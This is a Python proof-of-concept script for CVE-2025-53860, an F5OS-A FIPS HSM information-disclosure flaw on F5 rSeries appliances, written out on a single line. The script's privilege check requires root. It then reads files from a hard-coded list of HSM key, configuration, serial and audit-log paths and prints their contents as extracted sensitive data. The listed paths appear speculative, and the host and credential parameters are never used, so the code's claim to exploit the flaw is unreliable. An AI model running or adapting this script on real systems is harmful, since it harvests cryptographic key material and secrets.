CVE-2025-53860

# CVE-2025-53860 PoC - F5OS-A FIPS HSM Information Disclosure # This PoC demonstrates the concept of accessing sensitive FIPS HSM information # on F5 rSeries systems running vulnerable F5OS-A versions. # Note: Requires high-privilege authenticated local access. import subprocess import json import os class F5OSHSMInfoDisclosure: """ Proof of Concept for CVE-2025-53860 F5OS-A FIPS HSM Sensitive Information Disclosure """ def __init__(self, host="localhost", username="", password=""): self.host = host self.username = username self.password = password self.sensitive_paths = [ "/var/config/restconf/state/fips/hsm", "/var/f5/hsm/config", "/usr/lib/f5/hsm/keys", "/var/log/f5/hsm/audit.log", "/config/fips/hsm-info.json", "/shared/f5_hsm_serial" ] def check_privilege(self): """Check if current user has sufficient privileges""" result = subprocess.run(["id"], capture_output=True, text=True) if "uid=0" in result.stdout or "root" in result.stdout: return True return False def access_hsm_info(self): """Attempt to access FIPS HSM sensitive information""" results = {} for path in self.sensitive_paths: try: if os.path.exists(path): with open(path, 'r') as f: results[path] = f.read() except PermissionError: results[path] = "Permission denied - vulnerability may be patched" except Exception as e: results[path] = str(e) return results def exploit(self): """Main exploit routine""" print(f"[*] CVE-2025-53860 PoC - F5OS-A HSM Info Disclosure") print(f"[*] Target: {self.host}") if not self.check_privilege(): print("[-] Insufficient privileges. Requires high-privilege access.") return None print("[+] Privileges confirmed. Proceeding with HSM info extraction...") hsm_data = self.access_hsm_info() if hsm_data: print("[+] Successfully extracted HSM information:") print(json.dumps(hsm_data, indent=2)) return hsm_data if __name__ == "__main__": poc = F5OSHSMInfoDisclosure() poc.exploit()

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